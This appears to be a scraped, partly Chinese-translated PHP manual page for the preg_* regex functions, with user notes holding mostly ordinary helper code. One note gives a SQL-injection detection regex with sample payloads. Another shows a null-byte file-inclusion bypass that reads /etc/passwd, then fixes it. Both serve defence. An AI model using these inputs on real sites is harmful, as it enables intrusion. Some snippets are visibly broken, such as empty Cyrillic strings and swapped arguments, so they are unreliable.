For older PHP versions (> 4.2.0) you can use this function:

<?php
function c_preg_grep($pattern,&$array,$flag=false)
{
   if ($flag != PREG_GREP_INVERT)
   {
       return preg_grep($pattern,$array);
   }
   else
   {
       $remove = preg_grep($pattern,$array);
       return array_diff($array,$remove);
   }
}
?>
ak85 at yandex dot ru
03-Aug-2005 01:28
If U wanna find substring without word "BADWORD" U can use this expression:
/((?:(?!BADWORD).)*)/s
For example:
preg_match_all('/<b>((?:(?!</b>).)*)</b>/is',$string,$matches);
// U can find at the $matches substrings of $string between '<b>' and '</b>' without the same tag '</b>'

// Was found at O'Reilly Rerl Cookbook Russian Edition 2001
erik dot dobecky at NOSPAM dot fi-us dot com
30-Apr-2005 12:15
A useful way that we have developed filters against SQL injection attempts is to preg_grep the $_REQUEST global with the following regular expression (regex):

   '/[\'")]* *[oO][rR] *.*(.)(.) *= *\\2(?:--)?\\1?/'

which is used simply as:
<?php
$SQLInjectionRegex = '/[\'")]* *[oO][rR] *.*(.)(.) *= *\\2(?:--)?\\1?/';
$suspiciousQueryItems = preg_grep($SQLInjectionRegex, $_REQUEST);
?>

which matches any of the following (case insensitive, a=any char) strings (entirely):

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Matt AKA Junkie
06-Jun-2004 03:05
To grep using preg_* from a string instead of an array, use preg_match_all().
zac at slac dot stanford dot edu
27-Jul-2002 10:02
preg_grep takes a third argument (PREG_GREP_INVERT) which negates the pattern matching behaviour, just like the "-v" flag to the grep command.

EXAMPLE:
$food = array('apple', 'banana', 'squid', 'pear');
$fruits = preg_grep("/squid/", $food, PREG_GREP_INVERT);
echo "Food  "; print_r($food);
echo "Fruit "; print_r($fruits);

RESULTS IN:
Food  Array
(
   [0] => apple
   [1] => banana
   [2] => squid
   [3] => pear
)
Fruit Array
(
   [0] => apple
   [1] => banana
   [3] => pear
)
add a note add a note

后退 | 起点 | 前进
模式语法 | 上一级 | preg_match_all


preg_match_all

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

preg_match_all -- 进行全局正则表达式匹配

说明

int preg_match_all ( string pattern, string subject, array matches [, int flags] )

在 subject 中搜索所有与 pattern 给出的正则表达式匹配的内容并将结果以 flags 指定的顺序放到 matches 中。

搜索到第一个匹配项之后，接下来的搜索从上一个匹配项末尾开始。

flags 可以是下列标记的组合（注意把 PREG_PATTERN_ORDER 和 PREG_SET_ORDER 合起来用没有意义）：

PREG_PATTERN_ORDER

对结果排序使 $matches[0] 为全部模式匹配的数组，$matches[1] 为第一个括号中的子模式所匹配的字符串组成的数组，以此类推。

<?php
preg_match_all ("|<[^>]+>(.*)</[^>]+>|U",
    "<b>example: </b><div align=left>this is a test</div>",
    $out, PREG_PATTERN_ORDER);
print $out[0][0].", ".$out[0][1]."\n";
print $out[1][0].", ".$out[1][1]."\n";
?>

本例将输出：

<b>example: </b>, <div align=left>this is a test</div>
example: , this is a test

因此，$out[0] 包含匹配整个模式的字符串，$out[1] 包含一对 HTML 标记之间的字符串。

PREG_SET_ORDER

对结果排序使 $matches[0] 为第一组匹配项的数组，$matches[1] 为第二组匹配项的数组，以此类推。

<?php
preg_match_all ("|<[^>]+>(.*)</[^>]+>|U",
    "<b>example: </b><div align=left>this is a test</div>",
    $out, PREG_SET_ORDER);
print $out[0][0].", ".$out[0][1]."\n";
print $out[1][0].", ".$out[1][1]."\n";
?>

本例将输出：

<b>example: </b>, example:
<div align=left>this is a test</div>, this is a test

本例中，$matches[0] 是第一组匹配结果，$matches[0][0] 包含匹配整个模式的文本，$matches[0][1] 包含匹配第一个子模式的文本，以此类推。同样，$matches[1] 是第二组匹配结果，等等。

PREG_OFFSET_CAPTURE

如果设定本标记，对每个出现的匹配结果也同时返回其附属的字符串偏移量。注意这改变了返回的数组的值，使其中的每个单元也是一个数组，其中第一项为匹配字符串，第二项为其在 subject 中的偏移量。本标记自 PHP 4.3.0 起可用。

如果没有给出标记，则假定为 PREG_PATTERN_ORDER。

返回整个模式匹配的次数（可能为零），如果出错返回 FALSE。

例子 1. 从某文本中取得所有的电话号码

<?php
preg_match_all ("/\(?  (\d{3})?  \)?  (?(1)  [\-\s] ) \d{3}-\d{4}/x",
                "Call 555-1212 or 1-800-555-1212", $phones);
?>

例子 2. 搜索匹配的 HTML 标记（greedy）

<?php
// \\2 是一个逆向引用的例子，其在 PCRE 中的含义是
// 必须匹配正则表达式本身中第二组括号内的内容，本例中
// 就是 ([\w]+)。因为字符串在双引号中，所以需要
// 多加一个反斜线。
$html = "<b>bold text</b><a href=howdy.html>click me</a>";

preg_match_all ("/(<([\w]+)[^>]*>)(.*)(<\/\\2>)/", $html, $matches);

for ($i=0; $i< count($matches[0]); $i++) {
  echo "matched: ".$matches[0][$i]."\n";
  echo "part 1: ".$matches[1][$i]."\n";
  echo "part 2: ".$matches[3][$i]."\n";
  echo "part 3: ".$matches[4][$i]."\n\n";
}
?>

本例将输出：

matched: <b>bold text</b>
part 1: <b>
part 2: bold text
part 3: </b>

matched: <a href=howdy.html>click me</a>
part 1: <a href=howdy.html>
part 2: click me
part 3: </a>

参见 preg_match()，preg_replace() 和 preg_split()。

add a note add a note User Contributed Notes
connum at DONOTSPAMME dot googlemail dot com
04-Jun-2006 05:41
<?
function autoCloseTags($string) {
// automatically close HTML-Tags
// (usefull e.g. if you want to extract part of a blog entry or news as preview/teaser)
// coded by Constantin Gross <connum at googlemail dot com> / 3rd of June, 2006
// feel free to leave comments or to improve this function!

$donotclose=array('br','img','input'); //Tags that are not to be closed

//prepare vars and arrays
$tagstoclose='';
$tags=array();

//put all opened tags into an array
preg_match_all("/<(([A-Z]|[a-z]).*)(( )|(>))/isU",$string,$result);
$openedtags=$result[1];
$openedtags=array_reverse($openedtags); //this is just done so that the order of the closed tags in the end will be better

//put all closed tags into an array
preg_match_all("/<\/(([A-Z]|[a-z]).*)(( )|(>))/isU",$string,$result2);
$closedtags=$result2[1];

//look up which tags still have to be closed and put them in an array
for ($i=0;$i<count($openedtags);$i++) {
   if (in_array($openedtags[$i],$closedtags)) { unset($closedtags[array_search($openedtags[$i],$closedtags)]); }
       else array_push($tags, $openedtags[$i]);
}

$tags=array_reverse($tags); //now this reversion is done again for a better order of close-tags

//prepare the close-tags for output
for($x=0;$x<count($tags);$x++) {
$add=strtolower(trim($tags[$x]));
if(!in_array($add,$donotclose)) $tagstoclose.='</'.$add.'>';
}

//and finally
return $tagstoclose;
}
?>
slavomir dot hustaty at gmail dot com
28-Mar-2006 11:10
//<h1>some text</h1><b>bold</b><h1>some further text</h1>
//if needed what's between tags :-)

class find_regex
{

   var $search_tag;
   var $result;
   //preg_match_all("/(<h1[^>]*>)([^<]*)(<\/h1>)/", $html, $matches);

   function find_regex($tag = "h1")
   {
       $this->search_tag = $tag;
   }

   function parse($text_to_parse = "")
   {

       $regex = "/(<" . $this->search_tag . "[^>]*>)([^<]*)(<\/" . $this->search_tag . ">)/";

       preg_match_all( $regex , $row->buffer_sk , $matches );

       $this->result = $matches;

       return $matches[2];

   }

}
dave at mixd dot net
23-Mar-2006 12:18
Use this to capture all JavaScript code that is between <script> tags.

Takes into account javascript that generates HTML. This one took a while, so I thought I'd share it.

$delimeter =
'/<script[^>]*>((?:[^<>"\']+(?:"[^"]*"|\'[^\']*\')*)+)<\/script>/i';

Note: For some reason php.net is filtering out my escape characters... If it doesn't work make sure you escape all single quotes and the forward slash.
phpnet at sinful-music dot com
20-Feb-2006 04:53
Here's some fleecy code to 1. validate RCF2822 conformity of address lists and 2. to extract the address specification (the part commonly known as 'email'). I wouldn't suggest using it for input form email checking, but it might be just what you want for other email applications. I know it can be optimized further, but that part I'll leave up to you nutcrackers. The total length of the resulting Regex is about 30000 bytes. That because it accepts comments. You can remove that by setting $cfws to $fws and it shrinks to about 6000 bytes. Conformity checking is absolutely and strictly referring to RFC2822. Have fun and email me if you have any enhancements!

<?php
function mime_extract_rfc2822_address($string)
{
       //rfc2822 token setup
       $crlf          = "(?:\r\n)";
       $wsp            = "[\t ]";
       $text          = "[\\x01-\\x09\\x0B\\x0C\\x0E-\\x7F]";
       $quoted_pair    = "(?:\\\\$text)";
       $fws            = "(?:(?:$wsp*$crlf)?$wsp+)";
       $ctext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F" .
                         "!-'*-[\\]-\\x7F]";
       $comment        = "(\\((?:$fws?(?:$ctext|$quoted_pair|(?1)))*" .
                         "$fws?\\))";
       $cfws          = "(?:(?:$fws?$comment)*(?:(?:$fws?$comment)|$fws))";
       //$cfws          = $fws; //an alternative to comments
       $atext          = "[!#-'*+\\-\\/0-9=?A-Z\\^-~]";
       $atom          = "(?:$cfws?$atext+$cfws?)";
       $dot_atom_text  = "(?:$atext+(?:\\.$atext+)*)";
       $dot_atom      = "(?:$cfws?$dot_atom_text$cfws?)";
       $qtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!#-[\\]-\\x7F]";
       $qcontent      = "(?:$qtext|$quoted_pair)";
       $quoted_string  = "(?:$cfws?\"(?:$fws?$qcontent)*$fws?\"$cfws?)";
       $dtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!-Z\\^-\\x7F]";
       $dcontent      = "(?:$dtext|$quoted_pair)";
       $domain_literal = "(?:$cfws?\\[(?:$fws?$dcontent)*$fws?]$cfws?)";
       $domain        = "(?:$dot_atom|$domain_literal)";
       $local_part    = "(?:$dot_atom|$quoted_string)";
       $addr_spec      = "($local_part@$domain)";
       $display_name  = "(?:(?:$atom|$quoted_string)+)";
       $angle_addr    = "(?:$cfws?<$addr_spec>$cfws?)";
       $name_addr      = "(?:$display_name?$angle_addr)";
       $mailbox        = "(?:$name_addr|$addr_spec)";
       $mailbox_list  = "(?:(?:(?:(?<=:)|,)$mailbox)+)";
       $group          = "(?:$display_name:(?:$mailbox_list|$cfws)?;$cfws?)";
       $address        = "(?:$mailbox|$group)";
       $address_list  = "(?:(?:^|,)$address)+";

       //output length of string (just so you see how f**king long it is)
       echo(strlen($address_list) . " ");

       //apply expression
       preg_match_all("/^$address_list$/", $string, $array, PREG_SET_ORDER);

       return $array;
};
?>
volkank at developera dot com
17-Feb-2006 03:23
Correct IP matching Pattern:

This is my new IP octet pattern seems to be correct:
$num="(25[0-5]|2[0-4]\d|[01]?\d\d|\d)";

/*
25[0-5]    => 250-255
2[0-4]\d  => 200-249
[01]?\d\d  => 00-99,000-199
\d        => 0-9
*/

GRABBING multiple Valid IP addresses from string

<?
   $num="(25[0-5]|2[0-4]\d|[01]?\d\d|\d)";
   $test="127.0.0.112 10.0.0.2";
   preg_match_all("/$num\\.$num\\.$num\\.$num/",$test,$match);
   print_r($match);

?>

Single IP validation
<?
$num="(25[0-5]|2[0-4]\d|[01]?\d\d|\d)";
$ip_addr='009.111.111.100';
if (!preg_match("/^$num\\.$num\\.$num\\.$num$/", $ip_addr,$match)) echo "Wrong IP Address\\n";
echo $match[0];

?>
bgamrat at wirehopper dot com
13-Feb-2006 03:19
The double slashes in the following post should be replaced by single slashes.
bgamrat at wirehopper dot com
07-Feb-2006 11:54
I used these regular expressions to get the references from a page.  The function run_preg lists the references found.

$url = "http://test.com";
$text=@file_get_contents($url);
if ($text)
{
  $src_href_url=run_preg($text,
   "/(?:(?:src|href|url)\\s*[=\\(]\\s*[\\"'`])".
   "([\\+\\w:?=@&\\/#._;-]+)(?:[\\s\\"'`])/i");
  $windows=run_preg($text,
   "/(?:window.open\\s*\\(\\s*[\\w-]*\\s*[,]\\s*[\\"`'])".
   "([\\+\\w:?=@&\\/#._;-]*)(?:[\\"'`]\\s*)/i");
}

function run_preg($text,$pattern) {

   preg_match_all ($pattern, $text, $matches);

   if (count($matches)>0)
       if (count($matches[1])>0)
               foreach ($matches[1] as $k => $v)
                       echo "$k: $v\\n";

   return (is_array($matches)) ? $matches[1]:FALSE;
}

Thanks to http://us2.php.net/manual/en/function.preg-match.php#58505
for giving me a good starting point.

Hope others find this useful.  :)
mnc at u dot nu
03-Feb-2006 02:05
PREG_OFFSET_CAPTURE always seems to provide byte offsets, rather than character position offsets, even when you are using the unicode /u modifier.
egingell at sisna dot com
01-Feb-2006 11:31
Try this for preg_match_all that takes an array of reg expers.

<?
// Emulates preg_match_all() but takes an array instead of a string.
// Returns an array containing all of the matches.
// The return array is an array containing the arrays normally returned by
//    preg_match_all() with the optional third parameter supplied.
function preg_search($ary, $subj) {
   $matched = array();
   if (is_array($ary)) {
       foreach ($ary as $v) {
           preg_match_all($v, $subj, $matched[]);
       }
   } else {
       preg_match_all($ary, $subj, $matched[]);
   }
   return $matched;
}
?>
18-Dec-2005 10:16
Two match all occurrences between and including any two HTML tags, here <tr> and </tr>

preg_match_all("/(\<[ \\n\\r\\t]{0,}tr[^>]*\>|\<[^>]*[\\n\\r\\t]{1,}tr[^>]*\>){1}
([^<]*<([^(\/>)]*(\/[^(t>)]){0,1}(\/t[^(r>)]){0,1})*>)*
(\<[ \\n\\r\\t]{0,}\/tr[^>]*\>|\<[^>]*[\\n\\r\\t]{1,}\/tr[^>]*\>){1}/i", $string, $Matches);
php at projectjj dot com
09-Dec-2005 04:43
Re: webmaster at swirldrop dot com

If you want to get a string with all the 'normal' characters, this may be better:

$clean = preg_replace('/\W+/', '', $dirty);

\W is the opposite of \w and will match any character that is not a letter or digit or the underscore character, plus it respects the current locale. Use [^0-9a-zA-Z]+ instead of \W if you need ASCII-only.
htp
08-Dec-2005 05:29
Just a quick note regarding the post by webmaster at swirldrop dot com.  The regex doesn't match alpha-numerics, as it doesn't actually match numerics, just alphas.  Might want to a add a 0-9 if that was the intend.
pablo dot seb at gmail dot com
16-Jun-2005 09:48
By assigning a name to a capturing group, you can easily reference it by name. (?P<name>group) captures the match of group into the backreference "name". You can reference the contents of the group with the numbered backreference or the named backreference

<?php

preg_match_all('|(a)(?P<x>b)(?P<y>c)(d)|','abcdefgabcdefg',$sub);

echo $sub[2][0]; //b

echo '<br />';

echo $sub['y'][0]; //c

?>

Pablo from Salto, Uruguay
webmaster at m-bread dot com
07-Jun-2005 09:45
Looking at the function from rickyale at ig dot com dot br below getting URLs from an html file, I think this is slightly better:

function get_urls($string, $strict=true) {

   $types = array("href", "src", "url");
   while(list(,$type) = each($types)) {
       $innerT = $strict?'[a-z0-9:?=&@/._-]+?':'.+?';
       preg_match_all ("|$type\=([\"'`])(".$innerT.")\\1|i", $string, &$matches);
       $ret[$type] = $matches[2];
   }

return $ret;
};

This only gets urls in quotes "...", `...` or '...', but not mixed quotes like `..." (thanks to w w w's note on the 'pattern syntax' page). If you set the second parameter to false, then the function will give you any contents of attribute (so the function can be used to get other attributes, such as alt). To make it more strict, the '[a-z0-9:?=&@/._-]+?' can be replaced with a regular expression for a url.
webmaster at swirldrop dot com
07-Jun-2005 08:40
If you want to get al the text characters from a string, possibly entered by a user, and filter out all the non alpha-numeric characters (perhaps to make an ID to enter user-submitted details into a database record), then you can use the function below. It returns a string of only the alpha-numeric characters from the input string (all in lower case), with all other chracters removed:

<?php
function getText($string){
preg_match_all('/(?:([a-z]+)|.)/i', $string, $matches);
return strtolower(implode('', $matches[1]));
};//EoFn getText
?>

It took me quite a while tocome up with this regular expression. I hope it saves someone else that time.
20-Apr-2005 11:35
A little correction to my function below:

<?php
function urlhighlight($str) {
   preg_match_all("/http:\/\/?[^ ][^<]+/i",$str,$lnk);
   $size = sizeof($lnk[0]);
   $i = 0;
   while ($i < $size) {
       $len = strlen($lnk[0][$i]);
       if($len > 30) {
           $lnk_txt = substr($lnk[0][$i],0,30)."...";
       } else {
           $lnk_txt = $lnk[0][$i];
       }
       $ahref = $lnk[0][$i];
       $str = str_replace($ahref,"<a href='$ahref' target='_blank'>$lnk_txt</a>",$str);
       $i++;
   }
   return $str;
}
?>

The error is in the preg_match_all("/http:\/\/?[^ ][^<]+/i",$str,$lnk); the [^<] was missing.
Dan Madsen
20-Apr-2005 09:25
I wrote a function, which takes urls from a string, or database output, highlights them, and shortens the links name if its above 30 characters.

Note: You'll have to use nl2br() function on the string before using it, because I didn't know how to check for LineFeed or CarrigeReturn in preg-style.

<?php
function urlhighlight($str) {
   preg_match_all("/http:\/\/?[^ ]+/i",$str,$lnk);
   $size = sizeof($lnk[0]);
   $i = 0;
   while ($i < $size) {
       $len = strlen($lnk[0][$i]);
       if($len > 30) {
           $lnk_txt = substr($lnk[0][$i],0,30)."...";
       } else {
           $lnk_txt = $lnk[0][$i];
       }
       $ahref = $lnk[0][$i];
       $str = str_replace($ahref,"<a href='$ahref'>$lnk_txt</a>",$str);
       $i++;
   }
   return $str;
}
?>
Ex:
<?php
$str = "a lot of text with urls in it and alot of linebreaks";
$str = urlhighlight(nl2br($str));
?>
b2sing4u at naver dot com
09-Apr-2005 06:42
This function converts all HTML style decimal character code to hexadecimal code.
ex) Hi &#959; &#9674; Dec  ->  Hi &#x03BF; &#x25CA; Dec

function d2h($word) {
  $n = preg_match_all("/&#(\d+?);/", $word, $match, PREG_PATTERN_ORDER);
  for ($j = 0; $j < $n; $j++) {
   $word = str_replace($match[0][$j], sprintf("&#x%04X;", $match[1][$j]), $word);
  }
  return($word);
}

& This function converts all HTML style hexadecimal character code to decimal code.
ex) Hello &#x03BF; &#x25CA; Hex  ->  Hello &#959; &#9674; Hex

function h2d($word) {
  $n = preg_match_all("/&#x([0-9a-fA-F]+?);/", $word, $match, PREG_PATTERN_ORDER);
  for ($j = 0; $j < $n; $j++) {
   $word = str_replace($match[0][$j], sprintf("&#%u;", hexdec($match[1][$j])), $word);
  }
  return($word);
}
b2sing4u
07-Apr-2005 05:24
Character Code Conversion Example.

You can use following example to convert character code in HTML file.

First example converts Hexadecimal code to Decimal code.
  ex) Hello &#xFF; Hex -> Hello &#255; Hex

Second example converts Decimal code to Hexadecimal code.
  ex) Hi &#16; Dec -> Hi &#x0010; Dec

<?php

$h2d_get = fopen("h2d_get.htm", 'r');
$h2d_out = fopen("h2d_out.htm", 'w');

for ($i = 1; $i <= 1000; $i++)
{
  if (feof($h2d_get)) { break; }

  $line = fgets($h2d_get, 409600);
  $line = trim($line);
  if ($line == "99999999") { break; }

  $n = preg_match_all("/&#x([0-9a-fA-F]+?);/", $line, $match, PREG_PATTERN_ORDER);

  for ($j = 0; $j < $n; $j++)
  {
   $find = $match[0][$j];
   $code = hexdec($match[1][$j]);
   $push = sprintf("&#%u;", $code);
   $line = eregi_replace($find, $push, $line);
  }

  fwrite($h2d_out, $line);
  fwrite($h2d_out, "\r\n");
}

fclose($h2d_get);
fclose($h2d_out);

?>

<?php

$d2h_get = fopen("d2h_get.htm", 'r');
$d2h_out = fopen("d2h_out.htm", 'w');

for ($i = 1; $i <= 1000; $i++)
{
  if (feof($d2h_get)) { break; }

  $line = fgets($d2h_get, 409600);
  $line = trim($line);
  if ($line == "99999999") { break; }

  $n = preg_match_all("/&#(\d+?);/", $line, $match, PREG_PATTERN_ORDER);

  for ($j = 0; $j < $n; $j++)
  {
   $find = $match[0][$j];
   $code = $match[1][$j];
   $push = sprintf("&#x%04X;", $code);
   $line = eregi_replace($find, $push, $line);
  }

  fwrite($d2h_out, $line);
  fwrite($d2h_out, "\r\n");
}

fclose($d2h_get);
fclose($d2h_out);

?>
arias at elleondeoro dot com
15-Feb-2005 08:27
If you want to find all positions and his length, you can use the next function:

<?php
function preg_match_all_positions($pattern, $subject, &$count=null, $flags=0, $offset=0) {
  for ($count=0; preg_match($pattern, $subject, $match, $flags, $offset); $count++) {
   $positions[0][] = $pos = strpos($subject, $match[0], $offset);
   $positions[1][] = $len = strlen($match[0]);
   $offset = $pos+$len;
  }
  return $positions;
}
?>
mpbweb at mbourque dot com
03-Feb-2005 02:41
Here is a handy function I wrote that will check for broken links on the supplied url.

function dead_links($url) {

// mixed link_checker( $url )
// Returns:
//    FALSE if no broken links are found.
//    ARRAY containing broken links if any are found.

   ob_start();
     if( !readfile($url) ) return FALSE;
     $body = ob_get_contents();
   ob_end_clean();

   $pathparts = pathinfo($url);

   $urlpattern = "/<a[^>]+href=\"([^\"]+)/i";
   preg_match_all($urlpattern,$body,$matches);

   foreach( $matches[1] as $link) {

     if( strpos($link,"http://") === FALSE ) { // Deal with relative paths
         $link = $pathparts['dirname'] . "/" . $link;
     }

     $fp = @fopen("$link", "r");
     fclose($fp);
     if (!$fp) {
         $linkArray[] = $link;
     }

   }

   return (is_array($linkArray) ) ? $linkArray : FALSE;
}

Regards,

Michael Bourque
MCLD
20-Jan-2005 06:35
Here's a nice easy use for preg_match_all. I have data files in comma-separated-values format, with all the data enclosed in quote marks. To convert one line of such a data file into an array:

function quotedCsvLineToArray($l)
{
  preg_match_all('/(?<=,|\A)("(.*?)")?(?=,|\Z)/',$l, $matches, PREG_PATTERN_ORDER);
  return $matches[2];
}

hope it helps
dan
hex6ng at yahoo dot com
03-Jul-2004 06:04
This is a much more efficient version of the same function posted in ereg_replace() discussion by hdn, who is the same person as hex6ng.  I didn't include activating urls without http:// protocol identifier because there are many xxx.xxx patterns that are not urls.

function html_activate_urls($str)
{
   // lift all links, images and image maps
   $url_tags = array (
                     "'<a[^>]*>.*?</a>'si",
                     "'<map[^>]*>.*?</map>'si",
                     "'<script[^>]*>.*?</script>'si",
                     "'<style[^>]*>.*?</style>'si",
                     "'<[^>]+>'si"
                     );
   foreach($url_tags as $url_tag)
   {
       preg_match_all($url_tag, $str, $matches, PREG_SET_ORDER);
       foreach($matches as $match)
       {
           $key = "<" . md5($match[0]) . ">";
           $search[] = $key;
           $replace[] = $match[0];
       }
   }

   $str = str_replace($replace, $search, $str);

   // indicate where urls end if they have these trailing special chars
   $sentinals = array("/&(quot|#34);/i",        // Replace html entities
                       "/&(lt|#60);/i",
                       "/&(gt|#62);/i",
                       "/&(nbsp|#160);/i",
                       "/&(iexcl|#161);/i",
                       "/&(cent|#162);/i",
                       "/&(pound|#163);/i",
                       "/&(copy|#169);/i");

   $str = preg_replace($sentinals, "<marker>\\0", $str);

   // URL into links
   $str =
preg_replace( "|\w{3,10}://[\w\.\-_]+(:\d+)?[^\s\"\'<>\(\)\{\}]*|",
                   "<a href=\"\\0\">\\0</a>", $str );

   $str = str_replace("<marker>", '', $str);
   return str_replace($search, $replace, $str);
}

-hdn
vb_user at yahoo dot com
22-Apr-2004 12:00
If you want to extract the list of php functions in one of your library (ie, includes) for documentation or any purpose use the below:

$filename = 'library.php';
$fp = fopen($filename,'r');
if ($fp !== false) {
   $str = fread($fp, filesize ($filename));
   $count = preg_match_all ("|function[ ]+(.*)[\(](.*)[\)]|U", $str, $out, PREG_PATTERN_ORDER);

   for ($i=0; $i<$count; $i++) {
       if (!eregi('array',$out[1][$i])) {
           echo '#T='.$out[1][$i]."\n";
           echo $out[1][$i].'('.$out[2][$i].')'."\n\n";
       }
   }
}
fabriceb at gmx dot net
05-Mar-2004 10:55
If you just want to find out how many times a string contains another simple string, don't use preg_match_all like I did before I fould the substr_count function.

Use
<?php
$nrMatches = substr_count ('foobarbar', 'bar');
?>
instead. Hope this helps some other people like me who like to think too complicated :-)
add a note add a note

后退 | 起点 | 前进
preg_grep | 上一级 | preg_match


preg_match

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

preg_match -- 进行正则表达式匹配

说明

int preg_match ( string pattern, string subject [, array matches [, int flags]] )

在 subject 字符串中搜索与 pattern 给出的正则表达式相匹配的内容。

如果提供了 matches，则其会被搜索的结果所填充。$matches[0] 将包含与整个模式匹配的文本，$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本，以此类推。

flags 可以是下列标记：

PREG_OFFSET_CAPTURE

如果设定本标记，对每个出现的匹配结果也同时返回其附属的字符串偏移量。注意这改变了返回的数组的值，使其中的每个单元也是一个数组，其中第一项为匹配字符串，第二项为其偏移量。本标记自 PHP 4.3.0 起可用。

flags 参数自 PHP 4.3.0 起可用。

preg_match() 返回 pattern 所匹配的次数。要么是 0 次（没有匹配）或 1 次，因为 preg_match() 在第一次匹配之后将停止搜索。preg_match_all() 则相反，会一直搜索到 subject 的结尾处。如果出错 preg_match() 返回 FALSE。

提示: 如果只想查看一个字符串是否包含在另一个字符串中，不要用 preg_match()。可以用 strpos() 或 strstr() 替代，要快得多。

例子 1. 在文本中搜索“php”

<?php
// 模式定界符后面的 "i" 表示不区分大小写字母的搜索
if (preg_match ("/php/i", "PHP is the web scripting language of choice.")) {
    print "A match was found.";
} else {
    print "A match was not found.";
}
?>

例子 2. 搜索单词“web”

<?php
/* 模式中的 \b 表示单词的边界，因此只有独立的 "web" 单词会被匹配，
* 而不会匹配例如 "webbing" 或 "cobweb" 中的一部分 */
if (preg_match ("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
    print "A match was found.";
} else {
    print "A match was not found.";
}

if (preg_match ("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
    print "A match was found.";
} else {
    print "A match was not found.";
}
?>

例子 3. 从 URL 中取出域名

<?php
// 从 URL 中取得主机名
preg_match("/^(http:\/\/)?([^\/]+)/i",
    "http://www.php.net/index.html", $matches);
$host = $matches[2];

// 从主机名中取得后面两段
preg_match("/[^\.\/]+\.[^\.\/]+$/", $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>

本例将输出：

domain name is: php.net

参见 preg_match_all()，preg_replace() 和 preg_split()。

add a note add a note User Contributed Notes
lcvalentine at gmail dot com
24-May-2006 05:53
After doing some testing for my company and reading the RFCs mentioned on wikipedia, I have found that the following RegEx appears to match any standards-based e-mail address.

Please give test it in your own configs and respond if it works well so other users don't waste too much time looking:

(remove breaks)

<?php

preg_match( "/^
     [\d\w\/+!=#|$?%{^&}*`'~-]
     [\d\w\/\.+!=#|$?%{^&}*`'~-]*@
     [A-Z0-9]
     [A-Z0-9.-]{1,61}
     [A-Z0-9]\.
     [A-Z]{2,6}$/i", 'user@subdom.dom.tld'
);

?>
agilo3 at gmail dot com
22-May-2006 05:54
I seem to have made a few critical mistakes in my previous entry, to correct the problem I'm re-pasting my entry (I hope an admin can delete the other entry?):

I want to make an important notice to everyone using preg_match to validate a file used for inclusion.

If you use preg_match like so (like I have in the past):
<?php
 if (preg_match("/(.*)\.txt$/", $_GET['file'])) {
  include($_GET['file']);
 }
?>

Be sure to know that you can get around that security by using a null string terminator, like so:
page.php?file=/etc/passwd%00.txt

Quick explanation: strings end in a null string terminator which is what seperates strings (%00 is hex for the null string terminator character).
What this does is effectively rule out everything after %00 and validate this string (if I understand correctly by the way preg_match handles this) leading in the inclusion of the servers' /etc/passwd file.

One way to go around it is by doing something like this:
<?php
 if (preg_match("/^[a-zA-Z0-9\/\-\_]+\.txt$/", $_GET['file'])) {
  include($_GET['file']);
 }
?>
Which will check if (from the start) it consists of alphanumberic characters and can possibly contain a slash (subdirectories), underscore and a dash (used by some in filenames) and ends at the end of the string in ".txt".
azuretek at gmail dot com
19-May-2006 02:34
If you want to use a prefix for a folder in your project you can do as follows. In my case I wanted to make our dev and prod environments include based on whichever folder we were using as the document root. Though it would be also useful if you want a system to act differently based on which folder it resides in, eg. different results for email, security, and urls. This will return the proper info no matter where the file is as long as it's contained within the document root.

You can do it like this:

$envPrefix = $_ENV['PWD'];
preg_match('/\/.*\/(.*)_project/', $envPrefix, $matches);
$envPrefix = $matches[1];

will return:

array(2) {
  [0]=>
  string(25) "/home/dev_project"
  [1]=>
  string(3) "dev"
}

You can then use that prefix to include the proper files. This method is useful for developers with seperate copies of their project, live and dev. It helps with merging updates, less or nothing to change in between each copy.
ickata at ickata dot net
17-May-2006 03:23
If you want to perform a case-insensitive match with
cyrillic characters, there is a problem if your server is
Linux-based. So here is a useful function to perform
a case-insensitive match:

<?php
// define some functions which will transform a string
// to lower- or uppercases, because strtolower() and
// strtoupper do not work with cyrillic characters:

function cstrtolower($str) {
   return strtr($str,
"",
 "");
}

function cstrtoupper($str) {
   return strtr($str,
"",
 "");
}

// define a function which will create our filter  -we
// need to break apart the characters of the keyword
// into groups, containing the lowercase and the
// uppercase of each character:

function createFilter ($string) {
   $string = cstrtolower($string);
   for ($i=0;$i<strlen($string);$i++) {
       $letter_small = substr($string,$i,1);
       $letter_big = cstrtoupper($letter_small);
       $newstr .= [.$letter_small.$letter_big.];
   }
   return $newstr;
}

// Example:

$string = " - ";
$keyword = "";

if (preg_match ("/".createFilter($word)."/", $text))
   echo "A match was found.";
else echo "A match was NOT found!";

?>

And one more thing - if you want to perform a match
with a whole word only, do not use "/\bkeyword\b/",
use this:

<?php
preg_match ("/[--A-Za-z]keyword[--A-Za-z]/");
?>
axima at prameasolutions dot com
11-May-2006 07:34
function to validate and extract date parts from the string in following formats:
dd-mm-yyyy or dd/mm/yyyy or dd mm yyyy
d-m-yyyy and so on
actually delimiter is what ever exept a number

funtion get_correct_date($input = ''){
//clean up the input
$input = trim($input);
//matching pattern
$pattern = '/^([1-9]|0[1-9]|[12][1-9]|3[01])\D([1-9]|0[1-9]|1[012])\D
(19[0-9][0-9]|20[0-9][0-9])$/';
//check the input
preg_match(input ,$pattern, $parts);
return $parts;
}

function will return empty array on failure or
parts of the date as array(dd,mm,yyyy);
note: remove empty space from pattern if you copy it from here
martin at kouba dot at
04-Apr-2006 07:02
in reply to "brodseba at brodseba dot com"

hmm, wouldn't it be much easier to do it this way?

function preg_match_between($a_sStart, $a_sEnd, $a_sSubject)
{
  $pattern = '/'. $a_sStart .'(.*?)'. $a_sEnd .'/';
  preg_match($pattern, $a_sSubject, $result);

  return $result[1];
}
brodseba at brodseba dot com
21-Mar-2006 02:56
This little function is self-explaining.

function preg_match_between($a_sStart, $a_sEnd, $a_sSubject)
{
  $pattern = '/'. $a_sStart .'(.*?)'. $a_sEnd .'/';
  preg_match($pattern, $a_sSubject, $result);

  $pattern = '/'. $a_sStart .'/';
  $result = preg_replace($pattern, '', $result[0]);

